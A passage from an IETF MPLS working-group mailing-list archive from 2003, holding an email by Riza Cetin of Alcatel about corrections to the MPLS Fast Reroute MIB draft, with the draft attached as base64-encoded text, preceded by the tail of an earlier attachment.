AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABl
CgAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2QwAAFhDMDAxODE1ZA==
--_NextPart_000_01727C1C--



From owner-mpls@UU.NET  Tue Oct 14 11:53:00 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16133
	for <mpls-archive@lists.ietf.org>; Tue, 14 Oct 2003 11:52:59 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkjv26583
	for <mpls-archive@lists.ietf.org>; Tue, 14 Oct 2003 15:53:08 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkjv26481;
	Tue, 14 Oct 2003 15:53:05 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkju18886
	for mpls-outgoing; Tue, 14 Oct 2003 15:35:36 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpkju18879
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 14 Oct 2003 15:35:27 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkjs16266
	for <mpls@UU.NET>; Tue, 14 Oct 2003 15:14:46 GMT
From: riza.cetin@alcatel.be
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkjs01485
	for <mpls@UU.NET>; Tue, 14 Oct 2003 15:14:46 GMT
Received: from relay1.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc240.alcatel.be [195.207.101.240])
	id QQpkjs01465
	for <mpls@UU.NET>; Tue, 14 Oct 2003 15:14:44 GMT
Received: from Bemail06.net.alcatel.be (bemail06.net.alcatel.be [138.203.144.83])
	by relay1.alcatel.be (8.12.10/8.12.9) with ESMTP id h9EFEcu5025475
	for <mpls@UU.NET>; Tue, 14 Oct 2003 17:14:38 +0200 (MEST)
Received: from alcatel.be ([138.203.191.132])
          by Bemail06.net.alcatel.be (Lotus Domino Release 5.0.11)
          with ESMTP id 2003101417143587:4082 ;
          Tue, 14 Oct 2003 17:14:35 +0200 
Message-ID: <3F8C12DB.114963@alcatel.be>
Date: Tue, 14 Oct 2003 17:14:35 +0200
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Nic Neate <Nic.Neate@dataconnection.com>,
        Cisco - Thomas Nadeau <tnadeau@cisco.com>,
        "'stefaan.de_cnodder@alcatel.be'" <stefaan.de_cnodder@alcatel.be>,
        Juniper - Der-Hwa Gan <dhg@juniper.net>,
        "'jvasseur@cisco.com'" <jvasseur@cisco.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Suggested improvements to the Fast Reroute MIB definition in 
 draft-ietf-mpls-fastreroute-mib-01
References: <53F74F5A7B94D511841C00B0D0AB16F8028706D5@baker.datcon.co.uk> <3F8A5E1B.25D76F7E@alcatel.be>
X-MIMETrack: Itemize by SMTP Server on BEMAIL06/BE/ALCATEL(Release 5.0.11  |July 24, 2002) at
 10/14/2003 17:14:36,
	Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.11  |July 24, 2002) at
 10/14/2003 17:14:38
Content-Type: multipart/mixed;
 boundary="------------7C1CC5213D400B0C42A77E53"
X-Scanned-By: MIMEDefang 2.37
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------7C1CC5213D400B0C42A77E53
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Nic,

I realized that there was a typo in the mplsFrrTunARHopEntry description of version
02. It is corrected (see attachment). I have also added
mplsFrrTunARHopBandwidthProtect and mplsFrrTunARHopNodeProtect objects to the
mplsFrrTunARHopTable.

Riza.

--------------7C1CC5213D400B0C42A77E53
Content-Type: text/plain; charset=iso-8859-1;
 name="draft-ietf-mpls-fastreroute-mib-02.txt"
Content-Disposition: inline;
 filename="draft-ietf-mpls-fastreroute-mib-02.txt"
Content-Transfer-Encoding: base64

DQoNCk5ldHdvcmsgV29ya2luZyBHcm91cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgUml6YSBDZXRpbg0KSW50ZXJuZXQgRHJhZnQgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgU3RlZmFhbiBEZSBDbm9kZGVyDQpFeHBpcmF0aW9uIERhdGU6IE1h
cmNoIDIwMDQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFsY2F0ZWwNCg0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBEZXItSHdhIEdhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgSnVuaXBlciBOZXR3b3JrcywgSW5jLg0KDQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaG9tYXMgRC4gTmFkZWF1DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaXNjbyBT
eXN0ZW1zLCBJbmMuDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIE9jdG9iZXIgMjAwMw0KDQoNCg0KICAgIE11bHRpcHJvdG9jb2wg
TGFiZWwgU3dpdGNoaW5nIChNUExTKSBUcmFmZmljIEVuZ2luZWVyaW5nIE1hbmFnZW1lbnQNCiAg
ICAgICAgICAgICAgICAgICAgIEluZm9ybWF0aW9uIEJhc2UgZm9yIEZhc3QgUmVyb3V0ZQ0KDQog
ICAgICAgICAgICAgICAgICBkcmFmdC1pZXRmLW1wbHMtZmFzdHJlcm91dGUtbWliLTAyLnR4dA0K
DQoNCg0KICAgIFN0YXR1cyBvZiB0aGlzIE1lbW8NCg0KICAgIFRoaXMgZG9jdW1lbnQgaXMgYW4g
SW50ZXJuZXQtRHJhZnQgYW5kIGlzIGluIGZ1bGwgY29uZm9ybWFuY2Ugd2l0aA0KICAgIGFsbCBw
cm92aXNpb25zIG9mIFNlY3Rpb24gMTAgb2YgUkZDMjAyNiBbMV0uDQoNCiAgICBJbnRlcm5ldC1E
cmFmdHMgYXJlIHdvcmtpbmcgZG9jdW1lbnRzIG9mIHRoZSBJbnRlcm5ldCBFbmdpbmVlcmluZw0K
ICAgIFRhc2sgRm9yY2UgKElFVEYpLCBpdHMgYXJlYXMsIGFuZCBpdHMgd29ya2luZyBncm91cHMu
IE5vdGUgdGhhdCBvdGhlcg0KICAgIGdyb3VwcyBtYXkgYWxzbyBkaXN0cmlidXRlIHdvcmtpbmcg
ZG9jdW1lbnRzIGFzIEludGVybmV0LURyYWZ0cy4NCiAgICBJbnRlcm5ldC1EcmFmdHMgYXJlIGRy
YWZ0IGRvY3VtZW50cyB2YWxpZCBmb3IgYSBtYXhpbXVtIG9mIHNpeCBtb250aHMNCiAgICBhbmQg
bWF5IGJlIHVwZGF0ZWQsIHJlcGxhY2VkLCBvciBvYnNvbGV0ZWQgYnkgb3RoZXIgZG9jdW1lbnRz
IGF0IGFueQ0KICAgIHRpbWUuIEl0IGlzIGluYXBwcm9wcmlhdGUgdG8gdXNlIEludGVybmV0LSBE
cmFmdHMgYXMgcmVmZXJlbmNlDQogICAgbWF0ZXJpYWwgb3IgdG8gY2l0ZSB0aGVtIG90aGVyIHRo
YW4gYXMgIndvcmsgaW4gcHJvZ3Jlc3MuIg0KDQogICAgVGhlIGxpc3Qgb2YgY3VycmVudCBJbnRl
cm5ldC1EcmFmdHMgY2FuIGJlIGFjY2Vzc2VkIGF0DQogICAgaHR0cDovL3d3dy5pZXRmLm9yZy9p
ZXRmLzFpZC1hYnN0cmFjdHMudHh0DQogICAgVGhlIGxpc3Qgb2YgSW50ZXJuZXQtRHJhZnQgU2hh
ZG93IERpcmVjdG9yaWVzIGNhbiBiZSBhY2Nlc3NlZCBhdA0KICAgIGh0dHA6Ly93d3cuaWV0Zi5v
cmcvc2hhZG93Lmh0bWwuDQoNCg0KMS4gQWJzdHJhY3QNCg0KICAgIFRoaXMgbWVtbyBkZWZpbmVz
IGEgcG9ydGlvbiBvZiB0aGUgTWFuYWdlbWVudCBJbmZvcm1hdGlvbiBCYXNlIChNSUIpDQogICAg
Zm9yIHVzZSB3aXRoIG5ldHdvcmsgbWFuYWdlbWVudCBwcm90b2NvbHMgaW4gdGhlIEludGVybmV0
IGNvbW11bml0eS4NCiAgICBJbiBwYXJ0aWN1bGFyLCBpdCBkZXNjcmliZXMgbWFuYWdlZCBvYmpl
Y3RzIGZvciBNdWx0aXByb3RvY29sIExhYmVsDQogICAgU3dpdGNoaW5nIChNUExTKSBiYXNlZCBm
YXN0IHJlcm91dGluZy4NCg0KMi4gVGFibGUgb2YgQ29udGVudHMNCg0KDQoxLiBBQlNUUkFDVC4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjENCjIuIFRB
QkxFIE9GIENPTlRFTlRTLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
MQ0KMy4gQ09OVkVOVElPTlMgVVNFRCBJTiBUSElTIERPQ1VNRU5ULi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4yDQo0LiBJTlRST0RVQ1RJT04uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLjMNCjUuIEJSSUVGIERFU0NSSVBUSU9OIE9GIE1JQiBPQkpFQ1RTLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uMw0KNS4xLiBNUExTRlJSQ09OU1RUQUJMRS4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4zDQo1LjIuIE1QTFNGUlJQTFJUQUJMRS4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjMNCjUuMy4gTVBMU0ZSUkRF
VE9VUlRBQkxFLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uMw0KNi4gTVBM
UyBGQVNUIFJFUk9VVEUgTUlCIERFRklOSVRJT05TLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi40
DQo3LiBTRUNVUklUWSBDT05TSURFUkFUSU9OUy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uMjkNCjguIFJFRkVSRU5DRUFTLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4yOQ0KOS4gQUNLTk9XTEVER01FTlRTLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLjMwDQoxMC4gSW50ZWxsZWN0dWFsIFByb3BlcnR5IENvbnNp
ZGVyYXRpb25zLi4uLi4uLi4uLi4uLi4uLi4uLi4uMzANCjExLiBBVVRIT1JTxiBBRERSRVNTRVMu
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4zMA0KMTIuIEZVTEwgQ09QWVJJ
R0hUIFNUQVRFTUVOVC4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjMwDQoNCg0KMy4g
Q29udmVudGlvbnMgdXNlZCBpbiB0aGlzIGRvY3VtZW50DQoNCiAgICBUaGUga2V5IHdvcmRzICJN
VVNUIiwgIk1VU1QgTk9UIiwgIlJFUVVJUkVEIiwgIlNIQUxMIiwgIlNIQUxMIE5PVCIsDQogICAg
IlNIT1VMRCIsICJTSE9VTEQgTk9UIiwgIlJFQ09NTUVOREVEIiwgICJNQVkiLCBhbmQgIk9QVElP
TkFMIiBpbiB0aGlzDQogICAgZG9jdW1lbnQgYXJlIHRvIGJlIGludGVycHJldGVkIGFzIGRlc2Ny
aWJlZCBpbiBSRkMtMjExOSBbMl0uDQoNCjQuIEludHJvZHVjdGlvbg0KDQogICAgVGhpcyBtZW1v
IGRlZmluZXMgYSBwb3J0aW9uIG9mIHRoZSBNYW5hZ2VtZW50IEluZm9ybWF0aW9uIEJhc2UgKE1J
QikNCiAgICBmb3IgdXNlIHdpdGggbmV0d29yayBtYW5hZ2VtZW50IHByb3RvY29scyBpbiB0aGUg
SW50ZXJuZXQgY29tbXVuaXR5Lg0KICAgIEluIHBhcnRpY3VsYXIsIGl0IGRlc2NyaWJlcyBtYW5h
Z2VkIG9iamVjdHMgZm9yIE11bHRpcHJvdG9jb2wgTGFiZWwNCiAgICBTd2l0Y2hpbmcgKE1QTFMp
IGJhc2VkIGZhc3QgcmVyb3V0aW5nLiBUaGlzIE1JQiBzaG91bGQgYmUgdXNlZCBpbg0KICAgIGNv
bmp1bmN0aW9uIHdpdGggWzNdIGFuZCBbNF0uDQoNCjUuIEJyaWVmIERlc2NyaXB0aW9uIG9mIE1J
QiBPYmplY3RzLg0KDQogICAgVGhlIG9iamVjdHMgZGVzY3JpYmVkIGluIHRoaXMgc2VjdGlvbiBz
dXBwb3J0IHRoZSBkZXRvdXINCiAgICBmdW5jdGlvbmFsaXR5IGRlc2NyaWJlZCBpbiBTZWN0aW9u
IDMgb2YgWzVdLg0KDQo1LjEuIG1wbHNGcnJDb25zdFRhYmxlDQoNCiAgICBUaGlzIHRhYmxlIGNv
bnRhaW5zIGZhc3QtcmVyb3V0ZSBjb25zdHJhaW50cyBzdWNoIGFzIHNldHVwIGFuZA0KICAgIGhv
bGRpbmcgcHJpb3JpdGllcyBhbmQgYmFuZHdpZHRoIGZvciBhIHR1bm5lbCBpbnN0YW5jZSB0byBi
ZQ0KICAgIHByb3RlY3RlZCBieSB1c2luZyBiYWNrdXAgTFNQcyAoZGV0b3VyIExTUHMgb3IgYnkt
cGFzcyB0dW5uZWxzKS4NCg0KICAgIFRoaXMgdGFibGUgaXMgdXNlZCBhdCB0aGUgaW5ncmVzcyBu
b2RlIG9mIHRoZSBwcm90ZWN0ZWQgdHVubmVsDQogICAgaW5zdGFuY2UgdG8gY29uZmlndXJlIGJh
Y2t1cCBMU1Agc2V0dXAgY29uc3RyYWludHMuDQoNCjUuMi4gbXBsc0ZyclBMUlRhYmxlDQoNCiAg
ICBUaGUgbXBsc0ZyclBMUlRhYmxlIGlzIGFuIG9wdGlvbmFsIHRhYmxlIHRoYXQgY29udGFpbnMg
bGlzdHMgb2YgUExScw0KICAgIHRoYXQgaW5pdGlhdGVkIGRldG91ciBMU1BzIHRvIHByb3RlY3Qg
dHVubmVsIGluc3RhbmNlcy4NCg0KICAgIFdoZW4gZGV0b3VyIExTUHMgaW5pdGlhdGVkIGJ5IGRp
ZmZlcmVudCBQTFJzIHRvIHByb3RlY3QgdGhlIHNhbWUNCiAgICB0dW5uZWwgaW5zdGFuY2UsIGFy
ZSBtZXJnZWQgdG9nZXRoZXIgYmVmb3JlIGVudGVyaW5nIGFuIExTUiB0aGVuIGF0DQogICAgdGhp
cyBMU1IsIGVudHJpZXMgb2YgdGhvc2UgUExScyBwb2ludCB0byB0aGUgc2FtZSBkZXRvdXIgTFNQ
IGVudHJ5IGluDQogICAgdGhlIG1wbHNGcnJEZXRvdXJUYWJsZS4NCg0KNS4zLiBtcGxzRnJyRGV0
b3VyVGFibGUNCg0KICAgIFRoZSBtcGxzRnJyRGV0b3VyVGFibGUgc2hvd3MgdGhlIGRldG91ciBM
U1BzIGluIGVhY2ggbm9kZSAoaW5ncmVzcywNCiAgICB0cmFuc2l0IGFuZCBlZ3Jlc3Mgbm9kZXMp
LiBBbiBlbnRyeSBvZiB0aGlzIHRhYmxlIHJlcHJlc2VudHMgYSBkZXRvdXINCiAgICBMU1AuDQoN
CiAgICBFYWNoIGRldG91ciBpcyBpZGVudGlmaWVkIGJ5Og0KDQogICAgLSB0dW5uZWwgaW5kZXg6
DQogICAgICBzZXQgdG8gdGhlIHR1bm5lbC1pZCBvZiBhbiBMU1AgcHJvdGVjdGVkIGJ5IGEgZGV0
b3VyLg0KDQogICAgLSB0dW5uZWwgaW5zdGFuY2U6IGNvbnNpc3RzIG9mIHR3byBwYXJ0cw0KDQog
ICAgICAxKSBsb3dlciAxNiBiaXRzOiAgLSBwcm90ZWN0ZWQgdHVubmVsIGluc3RhbmNlDQogICAg
ICAgICAgICAgICAgICAgICAgICAgLSB1bmlxdWVseSBpZGVudGlmaWVzIGEgcHJvdGVjdGVkIExT
UCB3aXRoaW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGEgdHVubmVsLg0KICAgICAgMikg
aGlnaGVyIDE2IGJpdHM6IC0gZGV0b3VyIGluc3RhbmNlDQogICAgICAgICAgICAgICAgICAgICAg
ICAgLSB1bmlxdWVseSBpZGVudGlmaWVzIGEgZGV0b3VyIExTUCBvZiBhIHByb3RlY3RlZA0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgdHVubmVsIGluc3RhbmNlLg0KDQogICAgICAgICAgICAg
ICAgICAgICAgICAgICBNdWx0aXBsZSBkZXRvdXJzIG9mIHRoZSBzYW1lIHByb3RlY3RlZCBMU1Ag
bWF5IGdvDQogICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJvdWdoIHRoZSBzYW1lIG5vZGUu
IEluIHRoaXMgY2FzZSwgaGlnaGVyIDE2IGJpdHMNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
IG9mIHRoZSB0dW5uZWwgaW5zdGFuY2Ugb2JqZWN0IGlzIHVzZWQgYXMgYSBkZXRvdXINCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGluc3RhbmNlLg0KDQogICAgLSBpbmdyZXNzIG5vZGU6DQog
ICAgICBzZXQgdG8gdGhlIGluZ3Jlc3Mgbm9kZSBvZiBhbiBMU1AgcHJvdGVjdGVkIGJ5IGEgZGV0
b3VyLg0KDQogICAgLSBlZ3Jlc3Mgbm9kZToNCiAgICAgIHNldCB0byB0aGUgZWdyZXNzIG5vZGUg
b2YgYW4gTFNQIHByb3RlY3RlZCBieSBhIGRldG91ci4NCg0KICAgIEEgZGV0b3VyIExTUCBpcyBh
bHNvIGNvbnNpZGVyZWQgYXMgYW4gaW5zdGFuY2Ugb2YgYSBwcm90ZWN0ZWQgdHVubmVsLg0KICAg
IFRoZXJlZm9yZSwgZWFjaCBkZXRvdXIgTFNQIHdpbGwgaGF2ZSBhbiBlbnRyeSBpbiB0aGUgbXBs
c1R1bm5lbFRhYmxlIChkZWZpbmVkDQogICAgaW4gdGhlIE1QTFMtVEUtTUlCKS4NCg0KICAgIElu
IHRoZSBtcGxzVHVubmVsVGFibGUsIGhpZ2hlciAxNiBiaXRzIG9mIHRoZSB0dW5uZWwgaW5zdGFu
Y2Ugd2lsbCBiZSB1c2VkDQogICAgYXMgZGV0b3VyIGluc3RhbmNlLiBOb3RlIHRoYXQgZm9yIHRo
ZSBwcm90ZWN0ZWQgdHVubmVsIGluc3RhbmNlcywgaGlnaGVyIDE2IGJpdHMNCiAgICBvZiB0aGUg
dHVubmVsIGluc3RhbmNlIG11c3QgYmUgYWxsIHplcm9zLg0KDQogICAgVGhpcyB0YWJsZSBpcyBv
cHRpb25hbCBhbmQgaXMgb25seSByZXF1aXJlZCBpbiBjYXNlIG1wbHNGcnJQTFJUYWJsZQ0KICAg
IGlzIHN1cHBvcnRlZC4NCg0KNS40LiBtcGxzRnJyVHVubmVsQVJIb3BUYWJsZQ0KDQogICAgVGhp
cyB0YWJsZSBleHRlbmRzIG1wbHNUdW5uZWxBUkhvcCB0YWJsZSAoZGVmaW5lZCBpbiB0aGUgTVBM
Uy1URSBNSUIpDQogICAgd2l0aCBmYXN0LXJlcm91dGUgb2JqZWN0cyB3aGljaCBzcGVjaWZpZXMg
dGhlIHN0YXR1cyBvZiBsb2NhbA0KICAgIHByb3RlY3Rpb24gKGF2YWlsYWJpbGl0eSBhbmQgaW4t
dXNlKSBwZXIgaG9wIHRyYXZlcnNlZCBieSBhIHByb3RlY3RlZA0KICAgIHR1bm5lbC4NCg0KICAg
IFRoZSBzdXBwb3J0IG9mIHRoaXMgdGFibGUgaXMgb3B0aW9uYWwgc2luY2Ugbm90IGFsbCBNUExT
IHNpZ25hbGxpbmcNCiAgICBwcm90b2NvbHMgbWF5IHN1cHBvcnQgbXBsc1R1bm5lbEFSSG9wVGFi
bGUuDQoNCiAgICBFRCBOT1RFOiBOZWVkIHRvIGFkZCBkZXNjcmlwdGlvbiBvZiBGYWNpbGl0eS1i
YXNlZCBGUlIgdGFibGVzDQogICAgYW5kIGV4cGxhbmF0aW9uIG9mIG5ldyBNSUIgc3RydWN0dXJl
Lg0KDQo2LiBNUExTIEZhc3QgUmVyb3V0ZSBNSUIgRGVmaW5pdGlvbnMNCg0KDQpNUExTLUZSUi1N
SUIgREVGSU5JVElPTlMgOjo9IEJFR0lODQoNCiAgICBJTVBPUlRTDQogICAgICAgTU9EVUxFLUlE
RU5USVRZLCBPQkpFQ1QtVFlQRSwNCiAgICAgICBJbnRlZ2VyMzIsIFVuc2lnbmVkMzIsIENvdW50
ZXIzMiwNCiAgICAgICBOT1RJRklDQVRJT04tVFlQRSwgZXhwZXJpbWVudGFsDQogICAgICAgICAg
RlJPTSBTTk1QdjItU01JDQogICAgICAgTU9EVUxFLUNPTVBMSUFOQ0UsIE9CSkVDVC1HUk9VUCwg
Tk9USUZJQ0FUSU9OLUdST1VQDQogICAgICAgICAgRlJPTSBTTk1QdjItQ09ORg0KICAgICAgIFRF
WFRVQUwtQ09OVkVOVElPTiwgVHJ1dGhWYWx1ZSwgUm93U3RhdHVzLA0KICAgICAgIFRpbWVTdGFt
cA0KICAgICAgICAgIEZST00gU05NUHYyLVRDDQogICAgICAgSW50ZXJmYWNlSW5kZXgsIEludGVy
ZmFjZUluZGV4T3JaZXJvDQogICAgICAgICAgRlJPTSBJRi1NSUINCiAgICAgICBNcGxzVHVubmVs
SW5kZXgsIE1wbHNUdW5uZWxJbnN0YW5jZUluZGV4LA0KICAgICAgIE1wbHNUdW5uZWxBZmZpbml0
eSwgTXBsc0xzcklkZW50aWZpZXINCiAgICAgICAgICBGUk9NIE1QTFMtVEMtTUlCDQogICAgICAg
SW5ldEFkZHJlc3NUeXBlLCBJbmV0QWRkcmVzcw0KICAgICAgICAgIEZST00gSU5FVC1BRERSRVNT
LU1JQg0KICAgICAgIDsNCg0KICAgIG1wbHNGcnJNSUIgTU9EVUxFLUlERU5USVRZDQogICAgICAg
TEFTVC1VUERBVEVEDQogICAgICAgICAgIjIwMDIxMTAxMTIwMFoiIC0tIDAxIE5vdmVtYmVyIDIw
MDIgMTI6MDA6MDAgR01UDQogICAgICAgT1JHQU5JWkFUSU9ODQogICAgICAgICAgIk11bHRpcHJv
dG9jb2wgTGFiZWwgU3dpdGNoaW5nIChNUExTKSBXb3JraW5nIEdyb3VwIg0KICAgICAgIENPTlRB
Q1QtSU5GTw0KICAgICAgICAgICAgIg0KICAgICAgICAgICAgICAgICAgICAgUml6YSBDZXRpbg0K
ICAgICAgICAgICAgIFBvc3RhbDogQWxjYXRlbA0KICAgICAgICAgICAgICAgICAgICAgRnJhbmNp
cyBXZWxsZXNwbGVpbiAxDQogICAgICAgICAgICAgICAgICAgICBCLTIwMTggQW50d2VycCwgQmVs
Z2l1bQ0KICAgICAgICAgICAgIFRlbDogICAgKzMyLTMtMjQwNDczNQ0KICAgICAgICAgICAgIEVt
YWlsOiAgcml6YS5jZXRpbkBhbGNhdGVsLmJlDQoNCiAgICAgICAgICAgICAgICAgICAgIFN0ZWZh
YW4gRGUgQ25vZGRlcg0KICAgICAgICAgICAgIFBvc3RhbDogQWxjYXRlbA0KICAgICAgICAgICAg
ICAgICAgICAgRnJhbmNpcyBXZWxsZXNwbGVpbiAxDQogICAgICAgICAgICAgICAgICAgICBCLTIw
MTggQW50d2VycCwgQmVsZ2l1bQ0KICAgICAgICAgICAgIFRlbDogICAgKzMyLTMtMjQwODUxNQ0K
ICAgICAgICAgICAgIEVtYWlsOiAgU3RlZmFhbi5kZV9jbm9kZGVyQGFsY2F0ZWwuYmUNCg0KICAg
ICAgICAgICAgICAgICAgICAgRGVyLUh3YSBHYW4NCiAgICAgICAgICAgICBQb3N0YWw6IEp1bmlw
ZXIgTmV0d29ya3MsIEluYy4NCiAgICAgICAgICAgICAgICAgICAgIDExOTQgTi4gTWF0aGlsZGEg
QXZlbnVlDQogICAgICAgICAgICAgICAgICAgICBTdW5ueXZhbGUsIENBIDk0MDg5DQogICAgICAg
ICAgICAgVGVsOiAgICArMS00MDgtNzQ1LTIwLTc0DQogICAgICAgICAgICAgRW1haWw6ICBkaGdA
anVuaXBlci5uZXQNCg0KICAgICAgICAgICAgICAgICAgICAgVGhvbWFzIEQuIE5hZGVhdQ0KICAg
ICAgICAgICAgIFBvc3RhbDogQ2lzY28gU3lzdGVtcywgSW5jLg0KICAgICAgICAgICAgICAgICAg
ICAgMjUwIEFwb2xsbyBEcml2ZQ0KICAgICAgICAgICAgICAgICAgICAgQ2hlbG1zZm9yZCwgTUEg
MDE5MjQNCiAgICAgICAgICAgICBUZWw6ICAgICsxLTk3OC0yNDQtMzA1MQ0KICAgICAgICAgICAg
IEVtYWlsOiAgdG5hZGVhdUBjaXNjby5jb20NCg0KICAgICAgICAgICAgIg0KICAgICAgIERFU0NS
SVBUSU9ODQogICAgICAgICAiVGhpcyBNSUIgbW9kdWxlIGNvbnRhaW5zIG1hbmFnZWQgb2JqZWN0
IGRlZmluaXRpb25zIGZvciBNUExTDQogICAgICAgICAgRmFzdCBSZXJvdXRlIChGUlIpIGFzIGRl
ZmluZWQgaW46UGFuLCBQLiwgR2FuLCBELiwgU3dhbGxvdywgRy4sDQogICAgICAgICAgVmFzc2V1
ciwgSi5QaC4sIENvb3BlciwgRC4sIEF0bGFzLCBBLiwgSm9yaywgTS4sIEZhc3QgUmVyb3V0ZQ0K
ICAgICAgICAgIFRlY2huaXF1ZXMgaW4gUlNWUC1URSwgZHJhZnQtaWV0Zi1tcGxzLXJzdnAtbHNw
LWZhc3RyZXJvdXRlLQ0KICAgICAgICAgIDAwLnR4dCwgSmFudWFyeSAyMDAyLiINCg0KICAgIC0t
IFJldmlzaW9uIGhpc3RvcnkuDQogICAgICAgUkVWSVNJT04NCiAgICAgICAgICAgICIyMDAyMTEw
